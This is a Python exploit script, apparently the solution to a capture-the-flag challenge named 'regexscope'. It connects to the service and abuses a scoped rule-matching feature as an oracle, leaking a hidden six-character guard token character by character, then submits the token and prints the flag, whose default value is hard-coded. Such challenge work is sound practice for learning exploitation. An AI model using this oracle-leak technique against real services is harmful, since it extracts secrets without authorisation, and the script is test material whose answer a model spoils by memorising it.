#!/usr/bin/env python3 import argparse import os import socket import struct import subprocess import sys class Tube: def __init__(self, sock=None, proc=None): self.sock = sock self.proc = proc def recv(self, n=4096): if self.sock: return self.sock.recv(n) return os.read(self.proc.stdout.fileno(), n) def send(self, data): if self.sock: self.sock.sendall(data) else: os.write(self.proc.stdin.fileno(), data) def sendline(self, data): self.send(data + b"\n") def recvuntil(self, marker): out = b"" while marker not in out: chunk = self.recv(1) if not chunk: raise EOFError(out) out += chunk return out def symbol_value(binary, name): out = subprocess.check_output(["readelf", "-sW", binary], text=True) for line in out.splitlines(): fields = line.split() if len(fields) >= 8 and fields[-1] == name: return int(fields[1], 16) raise RuntimeError(f"symbol not found: {name}") def connect(args): if args.local: env = os.environ.copy() env["CTF_FLAG"] = args.flag proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) return Tube(proc=proc) return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) def choose(io, value): io.recvuntil(b">") io.sendline(str(value).encode()) def main(): p = argparse.ArgumentParser() p.add_argument("--host", default="127.0.0.1") p.add_argument("--port", type=int, default=31342) p.add_argument("--local", action="store_true") p.add_argument("--binary", default="../public/regexscope") p.add_argument("--flag", default="caplag{scoped_matcher_read_the_guard_token}") args = p.parse_args() io = connect(args) choose(io, 1) io.recvuntil(b"event:\n") io.sendline(b"A" * 30) token = b"" alphabet = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" for i in range(6): for c in alphabet: choose(io, 2) io.recvuntil(b"rule:\n") io.sendline(f"SCOPE {i+2} {c:02x}".encode()) ans = io.recvuntil(b"\n") if b"MATCH" in ans: token += bytes([c]) break choose(io, 3) io.recvuntil(b"token:\n") io.sendline(token) data = io.recvuntil(b"}") print(data[data.rfind(b"caplag{"):].decode()) if __name__ == "__main__": sys.exit(main())